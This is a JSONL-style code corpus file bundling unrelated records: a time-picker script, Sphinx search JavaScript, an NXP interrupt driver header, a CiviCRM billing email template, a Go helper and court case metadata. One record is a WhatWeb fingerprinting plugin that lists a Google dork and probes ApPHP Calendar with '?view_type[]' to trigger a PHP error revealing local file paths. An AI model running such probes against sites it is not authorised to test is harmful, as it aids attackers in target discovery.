panel.\n */\n _dispatchState() {\n const { hour, minute } = this.state.timeKeeper;\n const { isHourSet, isMinuteSet, isDayPeriodSet } = this.state;\n // The panel is listening to window for postMessage event, so we\n // do postMessage to itself to send data to input boxes.\n window.postMessage({\n name: \"PickerPopupChanged\",\n detail: {\n hour,\n minute,\n isHourSet,\n isMinuteSet,\n isDayPeriodSet\n }\n }, \"*\");\n },\n _attachEventListeners() {\n window.addEventListener(\"message\", this);\n document.addEventListener(\"mousedown\", this);\n },\n\n /**\n * Handle events.\n *\n * @param {Event} event\n */\n handleEvent(event) {\n switch (event.type) {\n case \"message\": {\n this.handleMessage(event);\n break;\n }\n case \"mousedown\": {\n // Use preventDefault to keep focus on input boxes\n event.preventDefault();\n event.target.setCapture();\n break;\n }\n }\n },\n\n /**\n * Handle postMessage events.\n *\n * @param {Event} event\n */\n handleMessage(event) {\n switch (event.data.name) {\n case \"PickerSetValue\": {\n this.set(event.data.detail);\n break;\n }\n case \"PickerInit\": {\n this.init(event.data.detail);\n break;\n }\n }\n },\n\n /**\n * Set the time state and update the components with the new state.\n *\n * @param {Object} timeState\n * {\n * {Number} hour [optional]\n * {Number} minute [optional]\n * {Number} second [optional]\n * {Number} millisecond [optional]\n * }\n */\n set(timeState) {\n if (timeState.hour != undefined) {\n this.state.isHourSet = true;\n }\n if (timeState.minute != undefined) {\n this.state.isMinuteSet = true;\n }\n this.state.timeKeeper.setState(timeState);\n this._setComponentStates();\n }\n };\n}\n"} +{"text": "##\n# This file is part of WhatWeb and may be subject to\n# redistribution and commercial restrictions. Please see the WhatWeb\n# web site for more information on licensing and terms of use.\n# http://www.morningstarsecurity.com/research/whatweb\n##\nPlugin.define \"ApPHP-Calendar\" do\nauthor \"Brendan Coles \" # 2011-03-20\nversion \"0.1\"\ndescription \"The ApPHP Calendar (ApPHP CAL) is a powerful PHP calendar script that may be easily integrated and used with various PHP projects, such as schedulers, event processors etc. The calendar is very simple to install, implement and use.\"\nwebsite \"http://www.apphp.com/php-calendar/\"\n\n# Google results as at 2011-03-20 #\n# 29 for Sunday Monday Tuesday Wednesday Thursday Friday +Satarday inurl:action inurl:view_type\n\n# Dorks #\ndorks [\n'Sunday Monday Tuesday Wednesday Thursday Friday \"Satarday\" inurl:action inurl:view_type'\n]\n\n\n\n# Matches #\nmatches [\n\n# Version Detection # HTML Comment # This script was generated by\n{ :version=>// },\n\n# Table column headings # How do I spell Saturday?\n{ :text=>\"SundayMondayTuesdayWednesdayThursdayFridaySatarday\" },\n\n]\n\n# Aggressive #\ndef aggressive\n\tm=[]\n\n\t# Local File Path Detection # Confirm match # Find application base path\n\tif @body =~ // and @base_uri.path =~ /\\.php/\n\n\t\t# Open application base url + \"?view_type[]\"\n\t\ttarget_url = @base_uri.to_s.scan(/^([^\\n]*\\.php)/).to_s+\"?view_type[]\"\n\t\tstatus,url,ip,body,headers=open_target(target_url)\n\n\t\t# Extract local file path # PHP error\n\t\tm << { :filepath=>body.scan(/: The first argument should be either a string or an integer in ()?([^\\n^<]+)(<\\/b>)? on line ()?[\\d]+(<\\/b>)?/)[0][1] } if body =~ /: The first argument should be either a string or an integer in ()?([^\\n^<]+)(<\\/b>)? on line ()?[\\d]+(<\\/b>)?/\n\n\tend\n\n\t# Return aggressive matches\n\tm\nend\n\nend\n\n\n"} +{"text": "\n\n\n \n \n\n\n\n{capture assign=headerStyle}colspan=\"2\" style=\"text-align: left; padding: 4px; border-bottom: 1px solid #999; background-color: #eee;\"{/capture}\n{capture assign=labelStyle }style=\"padding: 4px; border-bottom: 1px solid #999; background-color: #f7f7f7;\"{/capture}\n{capture assign=valueStyle }style=\"padding: 4px; border-bottom: 1px solid #999;\"{/capture}\n\n
\n \n\n \n \n \n\n \n\n \n \n \n \n
\n {assign var=\"greeting\" value=\"{contact.email_greeting}\"}{if $greeting}

{$greeting},

{/if}\n

{ts 1=$membershipType}Billing details for your automatically renewed %1 membership have been updated.{/ts}

\n
\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n
\n {ts}Billing Name and Address{/ts}\n
\n {$billingName}
\n {$address|nl2br}
\n {$email}\n
\n {ts}Credit Card Information{/ts}\n
\n {$credit_card_type}
\n {$credit_card_number}
\n {ts}Expires{/ts}: {$credit_card_exp_date|truncate:7:''|crmDate}
\n
\n {ts 1=$receipt_from_email}If you have questions please contact us at %1{/ts}\n
\n
\n\n\n\n"} +{"text": "package types\n\nimport (\n\t\"context\"\n\n\t\"github.com/MontFerret/ferret/pkg/drivers\"\n\t\"github.com/MontFerret/ferret/pkg/runtime/core\"\n\t\"github.com/MontFerret/ferret/pkg/runtime/values\"\n)\n\n// IS_HTML_ELEMENT checks whether value is a HTMLElement value.\n// @param {Any} value - Input value of arbitrary type.\n// @return {Boolean} - Returns true if value is HTMLElement, otherwise false.\nfunc IsHTMLElement(_ context.Context, args ...core.Value) (core.Value, error) {\n\terr := core.ValidateArgs(args, 1, 1)\n\n\tif err != nil {\n\t\treturn values.None, err\n\t}\n\n\treturn isTypeof(args[0], drivers.HTMLElementType), nil\n}\n"} +{"text": "/*\n * searchtools.js_t\n * ~~~~~~~~~~~~~~~~\n *\n * Sphinx JavaScript utilties for the full-text search.\n *\n * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS.\n * :license: BSD, see LICENSE for details.\n *\n */\n\n\n/**\n * Porter Stemmer\n */\nvar Stemmer = function() {\n\n var step2list = {\n ational: 'ate',\n tional: 'tion',\n enci: 'ence',\n anci: 'ance',\n izer: 'ize',\n bli: 'ble',\n alli: 'al',\n entli: 'ent',\n eli: 'e',\n ousli: 'ous',\n ization: 'ize',\n ation: 'ate',\n ator: 'ate',\n alism: 'al',\n iveness: 'ive',\n fulness: 'ful',\n ousness: 'ous',\n aliti: 'al',\n iviti: 'ive',\n biliti: 'ble',\n logi: 'log'\n };\n\n var step3list = {\n icate: 'ic',\n ative: '',\n alize: 'al',\n iciti: 'ic',\n ical: 'ic',\n ful: '',\n ness: ''\n };\n\n var c = \"[^aeiou]\"; // consonant\n var v = \"[aeiouy]\"; // vowel\n var C = c + \"[^aeiouy]*\"; // consonant sequence\n var V = v + \"[aeiou]*\"; // vowel sequence\n\n var mgr0 = \"^(\" + C + \")?\" + V + C; // [C]VC... is m>0\n var meq1 = \"^(\" + C + \")?\" + V + C + \"(\" + V + \")?$\"; // [C]VC[V] is m=1\n var mgr1 = \"^(\" + C + \")?\" + V + C + V + C; // [C]VCVC... is m>1\n var s_v = \"^(\" + C + \")?\" + v; // vowel in stem\n\n this.stemWord = function (w) {\n var stem;\n var suffix;\n var firstch;\n var origword = w;\n\n if (w.length < 3)\n return w;\n\n var re;\n var re2;\n var re3;\n var re4;\n\n firstch = w.substr(0,1);\n if (firstch == \"y\")\n w = firstch.toUpperCase() + w.substr(1);\n\n // Step 1a\n re = /^(.+?)(ss|i)es$/;\n re2 = /^(.+?)([^s])s$/;\n\n if (re.test(w))\n w = w.replace(re,\"$1$2\");\n else if (re2.test(w))\n w = w.replace(re2,\"$1$2\");\n\n // Step 1b\n re = /^(.+?)eed$/;\n re2 = /^(.+?)(ed|ing)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n re = new RegExp(mgr0);\n if (re.test(fp[1])) {\n re = /.$/;\n w = w.replace(re,\"\");\n }\n }\n else if (re2.test(w)) {\n var fp = re2.exec(w);\n stem = fp[1];\n re2 = new RegExp(s_v);\n if (re2.test(stem)) {\n w = stem;\n re2 = /(at|bl|iz)$/;\n re3 = new RegExp(\"([^aeiouylsz])\\\\1$\");\n re4 = new RegExp(\"^\" + C + v + \"[^aeiouwxy]$\");\n if (re2.test(w))\n w = w + \"e\";\n else if (re3.test(w)) {\n re = /.$/;\n w = w.replace(re,\"\");\n }\n else if (re4.test(w))\n w = w + \"e\";\n }\n }\n\n // Step 1c\n re = /^(.+?)y$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n re = new RegExp(s_v);\n if (re.test(stem))\n w = stem + \"i\";\n }\n\n // Step 2\n re = /^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n suffix = fp[2];\n re = new RegExp(mgr0);\n if (re.test(stem))\n w = stem + step2list[suffix];\n }\n\n // Step 3\n re = /^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n suffix = fp[2];\n re = new RegExp(mgr0);\n if (re.test(stem))\n w = stem + step3list[suffix];\n }\n\n // Step 4\n re = /^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/;\n re2 = /^(.+?)(s|t)(ion)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n re = new RegExp(mgr1);\n if (re.test(stem))\n w = stem;\n }\n else if (re2.test(w)) {\n var fp = re2.exec(w);\n stem = fp[1] + fp[2];\n re2 = new RegExp(mgr1);\n if (re2.test(stem))\n w = stem;\n }\n\n // Step 5\n re = /^(.+?)e$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n re = new RegExp(mgr1);\n re2 = new RegExp(meq1);\n re3 = new RegExp(\"^\" + C + v + \"[^aeiouwxy]$\");\n if (re.test(stem) || (re2.test(stem) && !(re3.test(stem))))\n w = stem;\n }\n re = /ll$/;\n re2 = new RegExp(mgr1);\n if (re.test(w) && re2.test(w)) {\n re = /.$/;\n w = w.replace(re,\"\");\n }\n\n // and turn initial Y back to y\n if (firstch == \"y\")\n w = firstch.toLowerCase() + w.substr(1);\n return w;\n }\n}\n\n\n\n/**\n * Simple result scoring code.\n */\nvar Scorer = {\n // Implement the following function to further tweak the score for each result\n // The function takes a result array [filename, title, anchor, descr, score]\n // and returns the new score.\n /*\n score: function(result) {\n return result[4];\n },\n */\n\n // query matches the full name of an object\n objNameMatch: 11,\n // or matches in the last dotted part of the object name\n objPartialMatch: 6,\n // Additive scores depending on the priority of the object\n objPrio: {0: 15, // used to be importantResults\n 1: 5, // used to be objectResults\n 2: -5}, // used to be unimportantResults\n // Used when the priority is not in the mapping.\n objPrioDefault: 0,\n\n // query found in title\n title: 15,\n // query found in terms\n term: 5\n};\n\n\n/**\n * Search Module\n */\nvar Search = {\n\n _index : null,\n _queued_query : null,\n _pulse_status : -1,\n\n init : function() {\n var params = $.getQueryParameters();\n if (params.q) {\n var query = params.q[0];\n $('input[name=\"q\"]')[0].value = query;\n this.performSearch(query);\n }\n },\n\n loadIndex : function(url) {\n $.ajax({type: \"GET\", url: url, data: null,\n dataType: \"script\", cache: true,\n complete: function(jqxhr, textstatus) {\n if (textstatus != \"success\") {\n document.getElementById(\"searchindexloader\").src = url;\n }\n }});\n },\n\n setIndex : function(index) {\n var q;\n this._index = index;\n if ((q = this._queued_query) !== null) {\n this._queued_query = null;\n Search.query(q);\n }\n },\n\n hasIndex : function() {\n return this._index !== null;\n },\n\n deferQuery : function(query) {\n this._queued_query = query;\n },\n\n stopPulse : function() {\n this._pulse_status = 0;\n },\n\n startPulse : function() {\n if (this._pulse_status >= 0)\n return;\n function pulse() {\n var i;\n Search._pulse_status = (Search._pulse_status + 1) % 4;\n var dotString = '';\n for (i = 0; i < Search._pulse_status; i++)\n dotString += '.';\n Search.dots.text(dotString);\n if (Search._pulse_status > -1)\n window.setTimeout(pulse, 500);\n }\n pulse();\n },\n\n /**\n * perform a search for something (or wait until index is loaded)\n */\n performSearch : function(query) {\n // create the required interface elements\n this.out = $('#search-results');\n this.title = $('

' + _('Searching') + '

').appendTo(this.out);\n this.dots = $('').appendTo(this.title);\n this.status = $('

').appendTo(this.out);\n this.output = $('
    ').appendTo(this.out);\n\n $('#search-progress').text(_('Preparing search...'));\n this.startPulse();\n\n // index already loaded, the browser was quick!\n if (this.hasIndex())\n this.query(query);\n else\n this.deferQuery(query);\n },\n\n /**\n * execute search (requires search index to be loaded)\n */\n query : function(query) {\n var i;\n var stopwords = [\"a\",\"and\",\"are\",\"as\",\"at\",\"be\",\"but\",\"by\",\"for\",\"if\",\"in\",\"into\",\"is\",\"it\",\"near\",\"no\",\"not\",\"of\",\"on\",\"or\",\"such\",\"that\",\"the\",\"their\",\"then\",\"there\",\"these\",\"they\",\"this\",\"to\",\"was\",\"will\",\"with\"];\n\n // stem the searchterms and add them to the correct list\n var stemmer = new Stemmer();\n var searchterms = [];\n var excluded = [];\n var hlterms = [];\n var tmp = query.split(/\\s+/);\n var objectterms = [];\n for (i = 0; i < tmp.length; i++) {\n if (tmp[i] !== \"\") {\n objectterms.push(tmp[i].toLowerCase());\n }\n\n if ($u.indexOf(stopwords, tmp[i].toLowerCase()) != -1 || tmp[i].match(/^\\d+$/) ||\n tmp[i] === \"\") {\n // skip this \"word\"\n continue;\n }\n // stem the word\n var word = stemmer.stemWord(tmp[i].toLowerCase());\n var toAppend;\n // select the correct list\n if (word[0] == '-') {\n toAppend = excluded;\n word = word.substr(1);\n }\n else {\n toAppend = searchterms;\n hlterms.push(tmp[i].toLowerCase());\n }\n // only add if not already in the list\n if (!$u.contains(toAppend, word))\n toAppend.push(word);\n }\n var highlightstring = '?highlight=' + $.urlencode(hlterms.join(\" \"));\n\n // console.debug('SEARCH: searching for:');\n // console.info('required: ', searchterms);\n // console.info('excluded: ', excluded);\n\n // prepare search\n var terms = this._index.terms;\n var titleterms = this._index.titleterms;\n\n // array of [filename, title, anchor, descr, score]\n var results = [];\n $('#search-progress').empty();\n\n // lookup as object\n for (i = 0; i < objectterms.length; i++) {\n var others = [].concat(objectterms.slice(0, i),\n objectterms.slice(i+1, objectterms.length));\n results = results.concat(this.performObjectSearch(objectterms[i], others));\n }\n\n // lookup as search terms in fulltext\n results = results.concat(this.performTermsSearch(searchterms, excluded, terms, Scorer.term))\n .concat(this.performTermsSearch(searchterms, excluded, titleterms, Scorer.title));\n\n // let the scorer override scores with a custom scoring function\n if (Scorer.score) {\n for (i = 0; i < results.length; i++)\n results[i][4] = Scorer.score(results[i]);\n }\n\n // now sort the results by score (in opposite order of appearance, since the\n // display function below uses pop() to retrieve items) and then\n // alphabetically\n results.sort(function(a, b) {\n var left = a[4];\n var right = b[4];\n if (left > right) {\n return 1;\n } else if (left < right) {\n return -1;\n } else {\n // same score: sort alphabetically\n left = a[1].toLowerCase();\n right = b[1].toLowerCase();\n return (left > right) ? -1 : ((left < right) ? 1 : 0);\n }\n });\n\n // for debugging\n //Search.lastresults = results.slice(); // a copy\n //console.info('search results:', Search.lastresults);\n\n // print the results\n var resultCount = results.length;\n function displayNextItem() {\n // results left, load the summary and display it\n if (results.length) {\n var item = results.pop();\n var listItem = $('
  • ');\n if (DOCUMENTATION_OPTIONS.FILE_SUFFIX === '') {\n // dirhtml builder\n var dirname = item[0] + '/';\n if (dirname.match(/\\/index\\/$/)) {\n dirname = dirname.substring(0, dirname.length-6);\n } else if (dirname == 'index/') {\n dirname = '';\n }\n listItem.append($('').attr('href',\n DOCUMENTATION_OPTIONS.URL_ROOT + dirname +\n highlightstring + item[2]).html(item[1]));\n } else {\n // normal html builders\n listItem.append($('').attr('href',\n item[0] + DOCUMENTATION_OPTIONS.FILE_SUFFIX +\n highlightstring + item[2]).html(item[1]));\n }\n if (item[3]) {\n listItem.append($(' (' + item[3] + ')'));\n Search.output.append(listItem);\n listItem.slideDown(5, function() {\n displayNextItem();\n });\n } else if (DOCUMENTATION_OPTIONS.HAS_SOURCE) {\n $.ajax({url: DOCUMENTATION_OPTIONS.URL_ROOT + '_sources/' + item[0] + '.txt',\n dataType: \"text\",\n complete: function(jqxhr, textstatus) {\n var data = jqxhr.responseText;\n if (data !== '') {\n listItem.append(Search.makeSearchSummary(data, searchterms, hlterms));\n }\n Search.output.append(listItem);\n listItem.slideDown(5, function() {\n displayNextItem();\n });\n }});\n } else {\n // no source available, just display title\n Search.output.append(listItem);\n listItem.slideDown(5, function() {\n displayNextItem();\n });\n }\n }\n // search finished, update title and status message\n else {\n Search.stopPulse();\n Search.title.text(_('Search Results'));\n if (!resultCount)\n Search.status.text(_('Your search did not match any documents. Please make sure that all words are spelled correctly and that you\\'ve selected enough categories.'));\n else\n Search.status.text(_('Search finished, found %s page(s) matching the search query.').replace('%s', resultCount));\n Search.status.fadeIn(500);\n }\n }\n displayNextItem();\n },\n\n /**\n * search for object names\n */\n performObjectSearch : function(object, otherterms) {\n var filenames = this._index.filenames;\n var objects = this._index.objects;\n var objnames = this._index.objnames;\n var titles = this._index.titles;\n\n var i;\n var results = [];\n\n for (var prefix in objects) {\n for (var name in objects[prefix]) {\n var fullname = (prefix ? prefix + '.' : '') + name;\n if (fullname.toLowerCase().indexOf(object) > -1) {\n var score = 0;\n var parts = fullname.split('.');\n // check for different match types: exact matches of full name or\n // \"last name\" (i.e. last dotted part)\n if (fullname == object || parts[parts.length - 1] == object) {\n score += Scorer.objNameMatch;\n // matches in last name\n } else if (parts[parts.length - 1].indexOf(object) > -1) {\n score += Scorer.objPartialMatch;\n }\n var match = objects[prefix][name];\n var objname = objnames[match[1]][2];\n var title = titles[match[0]];\n // If more than one term searched for, we require other words to be\n // found in the name/title/description\n if (otherterms.length > 0) {\n var haystack = (prefix + ' ' + name + ' ' +\n objname + ' ' + title).toLowerCase();\n var allfound = true;\n for (i = 0; i < otherterms.length; i++) {\n if (haystack.indexOf(otherterms[i]) == -1) {\n allfound = false;\n break;\n }\n }\n if (!allfound) {\n continue;\n }\n }\n var descr = objname + _(', in ') + title;\n\n var anchor = match[3];\n if (anchor === '')\n anchor = fullname;\n else if (anchor == '-')\n anchor = objnames[match[1]][1] + '-' + fullname;\n // add custom score for some objects according to scorer\n if (Scorer.objPrio.hasOwnProperty(match[2])) {\n score += Scorer.objPrio[match[2]];\n } else {\n score += Scorer.objPrioDefault;\n }\n results.push([filenames[match[0]], fullname, '#'+anchor, descr, score]);\n }\n }\n }\n\n return results;\n },\n\n /**\n * search for full-text terms in the index\n */\n performTermsSearch : function(searchterms, excluded, terms, score) {\n var filenames = this._index.filenames;\n var titles = this._index.titles;\n\n var i, j, file, files;\n var fileMap = {};\n var results = [];\n\n // perform the search on the required terms\n for (i = 0; i < searchterms.length; i++) {\n var word = searchterms[i];\n // no match but word was a required one\n if ((files = terms[word]) === undefined)\n break;\n if (files.length === undefined) {\n files = [files];\n }\n // create the mapping\n for (j = 0; j < files.length; j++) {\n file = files[j];\n if (file in fileMap)\n fileMap[file].push(word);\n else\n fileMap[file] = [word];\n }\n }\n\n // now check if the files don't contain excluded terms\n for (file in fileMap) {\n var valid = true;\n\n // check if all requirements are matched\n if (fileMap[file].length != searchterms.length)\n continue;\n\n // ensure that none of the excluded terms is in the search result\n for (i = 0; i < excluded.length; i++) {\n if (terms[excluded[i]] == file ||\n $u.contains(terms[excluded[i]] || [], file)) {\n valid = false;\n break;\n }\n }\n\n // if we have still a valid result we can add it to the result list\n if (valid) {\n results.push([filenames[file], titles[file], '', null, score]);\n }\n }\n return results;\n },\n\n /**\n * helper function to return a node containing the\n * search summary for a given text. keywords is a list\n * of stemmed words, hlwords is the list of normal, unstemmed\n * words. the first one is used to find the occurance, the\n * latter for highlighting it.\n */\n makeSearchSummary : function(text, keywords, hlwords) {\n var textLower = text.toLowerCase();\n var start = 0;\n $.each(keywords, function() {\n var i = textLower.indexOf(this.toLowerCase());\n if (i > -1)\n start = i;\n });\n start = Math.max(start - 120, 0);\n var excerpt = ((start > 0) ? '...' : '') +\n $.trim(text.substr(start, 240)) +\n ((start + 240 - text.length) ? '...' : '');\n var rv = $('
    ').text(excerpt);\n $.each(hlwords, function() {\n rv = rv.highlightText(this, 'highlighted');\n });\n return rv;\n }\n};\n\n$(document).ready(function() {\n Search.init();\n});"} +{"text": "/*\n * The Clear BSD License\n * Copyright (c) 2016, Freescale Semiconductor, Inc.\n * Copyright 2016-2017 NXP\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted (subject to the limitations in the disclaimer below) provided\n * that the following conditions are met:\n *\n * o Redistributions of source code must retain the above copyright notice, this list\n * of conditions and the following disclaimer.\n *\n * o Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and/or\n * other materials provided with the distribution.\n *\n * o Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#ifndef _FSL_GINT_H_\n#define _FSL_GINT_H_\n\n#include \"fsl_common.h\"\n\n/*!\n * @addtogroup gint_driver\n * @{\n */\n\n/*! @file */\n\n/*******************************************************************************\n * Definitions\n ******************************************************************************/\n\n/*! @name Driver version */\n/*@{*/\n#define FSL_GINT_DRIVER_VERSION (MAKE_VERSION(2, 0, 0)) /*!< Version 2.0.0. */\n/*@}*/\n\n/*! @brief GINT combine inputs type */\ntypedef enum _gint_comb\n{\n kGINT_CombineOr = 0U, /*!< A grouped interrupt is generated when any one of the enabled inputs is active */\n kGINT_CombineAnd = 1U /*!< A grouped interrupt is generated when all enabled inputs are active */\n} gint_comb_t;\n\n/*! @brief GINT trigger type */\ntypedef enum _gint_trig\n{\n kGINT_TrigEdge = 0U, /*!< Edge triggered based on polarity */\n kGINT_TrigLevel = 1U /*!< Level triggered based on polarity */\n} gint_trig_t;\n\n/* @brief GINT port type */\ntypedef enum _gint_port\n{\n kGINT_Port0 = 0U,\n kGINT_Port1 = 1U,\n#if defined(FSL_FEATURE_GINT_PORT_COUNT) && (FSL_FEATURE_GINT_PORT_COUNT > 2U)\n kGINT_Port2 = 2U,\n#endif\n#if defined(FSL_FEATURE_GINT_PORT_COUNT) && (FSL_FEATURE_GINT_PORT_COUNT > 3U)\n kGINT_Port3 = 3U,\n#endif\n#if defined(FSL_FEATURE_GINT_PORT_COUNT) && (FSL_FEATURE_GINT_PORT_COUNT > 4U)\n kGINT_Port4 = 4U,\n#endif\n#if defined(FSL_FEATURE_GINT_PORT_COUNT) && (FSL_FEATURE_GINT_PORT_COUNT > 5U)\n kGINT_Port5 = 5U,\n#endif\n#if defined(FSL_FEATURE_GINT_PORT_COUNT) && (FSL_FEATURE_GINT_PORT_COUNT > 6U)\n kGINT_Port6 = 6U,\n#endif\n#if defined(FSL_FEATURE_GINT_PORT_COUNT) && (FSL_FEATURE_GINT_PORT_COUNT > 7U)\n kGINT_Port7 = 7U,\n#endif\n} gint_port_t;\n\n/*! @brief GINT Callback function. */\ntypedef void (*gint_cb_t)(void);\n\n/*******************************************************************************\n * API\n ******************************************************************************/\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n/*!\n * @brief\tInitialize GINT peripheral.\n\n * This function initializes the GINT peripheral and enables the clock.\n *\n * @param base Base address of the GINT peripheral.\n *\n * @retval None.\n */\nvoid GINT_Init(GINT_Type *base);\n\n/*!\n * @brief\tSetup GINT peripheral control parameters.\n\n * This function sets the control parameters of GINT peripheral.\n *\n * @param base Base address of the GINT peripheral.\n * @param comb Controls if the enabled inputs are logically ORed or ANDed for interrupt generation.\n * @param trig Controls if the enabled inputs are level or edge sensitive based on polarity.\n * @param callback This function is called when configured group interrupt is generated.\n *\n * @retval None.\n */\nvoid GINT_SetCtrl(GINT_Type *base, gint_comb_t comb, gint_trig_t trig, gint_cb_t callback);\n\n/*!\n * @brief\tGet GINT peripheral control parameters.\n\n * This function returns the control parameters of GINT peripheral.\n *\n * @param base Base address of the GINT peripheral.\n * @param comb Pointer to store combine input value.\n * @param trig Pointer to store trigger value.\n * @param callback Pointer to store callback function.\n *\n * @retval None.\n */\nvoid GINT_GetCtrl(GINT_Type *base, gint_comb_t *comb, gint_trig_t *trig, gint_cb_t *callback);\n\n/*!\n * @brief\tConfigure GINT peripheral pins.\n\n * This function enables and controls the polarity of enabled pin(s) of a given port.\n *\n * @param base Base address of the GINT peripheral.\n * @param port Port number.\n * @param polarityMask Each bit position selects the polarity of the corresponding enabled pin.\n * 0 = The pin is active LOW. 1 = The pin is active HIGH.\n * @param enableMask Each bit position selects if the corresponding pin is enabled or not.\n * 0 = The pin is disabled. 1 = The pin is enabled.\n *\n * @retval None.\n */\nvoid GINT_ConfigPins(GINT_Type *base, gint_port_t port, uint32_t polarityMask, uint32_t enableMask);\n\n/*!\n * @brief\tGet GINT peripheral pin configuration.\n\n * This function returns the pin configuration of a given port.\n *\n * @param base Base address of the GINT peripheral.\n * @param port Port number.\n * @param polarityMask Pointer to store the polarity mask Each bit position indicates the polarity of the corresponding\n enabled pin.\n * 0 = The pin is active LOW. 1 = The pin is active HIGH.\n * @param enableMask Pointer to store the enable mask. Each bit position indicates if the corresponding pin is enabled\n or not.\n * 0 = The pin is disabled. 1 = The pin is enabled.\n *\n * @retval None.\n */\nvoid GINT_GetConfigPins(GINT_Type *base, gint_port_t port, uint32_t *polarityMask, uint32_t *enableMask);\n\n/*!\n * @brief\tEnable callback.\n\n * This function enables the interrupt for the selected GINT peripheral. Although the pin(s) are monitored\n * as soon as they are enabled, the callback function is not enabled until this function is called.\n *\n * @param base Base address of the GINT peripheral.\n *\n * @retval None.\n */\nvoid GINT_EnableCallback(GINT_Type *base);\n\n/*!\n * @brief\tDisable callback.\n\n * This function disables the interrupt for the selected GINT peripheral. Although the pins are still\n * being monitored but the callback function is not called.\n *\n * @param base Base address of the peripheral.\n *\n * @retval None.\n */\nvoid GINT_DisableCallback(GINT_Type *base);\n\n/*!\n * @brief\tClear GINT status.\n\n * This function clears the GINT status bit.\n *\n * @param base Base address of the GINT peripheral.\n *\n * @retval None.\n */\nstatic inline void GINT_ClrStatus(GINT_Type *base)\n{\n base->CTRL |= GINT_CTRL_INT_MASK;\n}\n\n/*!\n * @brief\tGet GINT status.\n\n * This function returns the GINT status.\n *\n * @param base Base address of the GINT peripheral.\n *\n * @retval status = 0 No group interrupt request. = 1 Group interrupt request active.\n */\nstatic inline uint32_t GINT_GetStatus(GINT_Type *base)\n{\n return (base->CTRL & GINT_CTRL_INT_MASK);\n}\n\n/*!\n * @brief\tDeinitialize GINT peripheral.\n\n * This function disables the GINT clock.\n *\n * @param base Base address of the GINT peripheral.\n *\n * @retval None.\n */\nvoid GINT_Deinit(GINT_Type *base);\n\n#ifdef __cplusplus\n}\n#endif\n\n/*@}*/\n\n#endif /* _FSL_GINT_H_ */\n"} +{"text": "\n\n United States Government Printing Office\n \n printer\n prt\n\n \n distributor\n dst\n\n\n\n United States\n United States District Court Middle District of Georgia\n \n author\n aut\n\n Government Organization\n\ntext\ngovernment publication\n\n eng\n\n\n USCOURTS\n Judicial Publications\n judicial\n 2011-12-19\n\n\n Administrative Office of the United States Courts\n 2008-01-28\n monographic\n\n\n deposited\n born digital\n\nJU 4.15\nhttp://www.gpo.gov/fdsys/pkg/USCOURTS-gamd-3_07-cv-00033\nP0b002ee1812b888a\n\n DGPO\n 2011-12-19\n 2011-12-19\n USCOURTS-gamd-3_07-cv-00033\n machine generated\n \n eng\n\n\nfdlp\n\n USCOURTS\n USCOURTS-gamd-3_07-cv-00033\n District\n gamd\n 11th\n Georgia\n 2125\n 3:07-cv-00033\n Athens\n civil\n 530\n Prisoner Petitions - Habeas Corpus\n 28:2254 Petition for Writ of Habeas Corpus (State)\n \n \n\n\n Lester v. Henderson\n 3:07-cv-00033\n\n\n http://www.gpo.gov/fdsys/pkg/USCOURTS-gamd-3_07-cv-00033/content-detail.html\n\nJU 4.15\n3:07-cv-00033;07-033\n\n United States District Court Middle District of Georgia\n 11th Circuit\n Athens\n U.S. Courts\n \n author\n aut\n\n\n\n Tony Henderson\n Henderson\n Tony\n \n Respondent\n\n\n Darrell Lester\n Lester\n Darrell\n \n Petitioner\n\n\n USCOURTS\n USCOURTS-gamd-3_07-cv-00033\n District\n gamd\n 11th\n Georgia\n 2125\n 3:07-cv-00033\n Athens\n civil\n 530\n Prisoner Petitions - Habeas Corpus\n 28:2254 Petition for Writ of Habeas Corpus (State)\n \n \n Georgia\n\n\n \n Lester v. Henderson\n ORDER denying 12 Motion for Reconsideration and denying 19 Motion to Appoint Counsel. Ordered by Judge Claude W. Hicks Jr. on 7/23/07. (CWH)\n 0\n\n \n 2007-07-23\n\n \n D09002ee1812caed3\n\n http://www.gpo.gov/fdsys/granule/USCOURTS-gamd-3_07-cv-00033/USCOURTS-gamd-3_07-cv-00033-0\n gamd-3_07-cv-00033_0.pdf\n \n 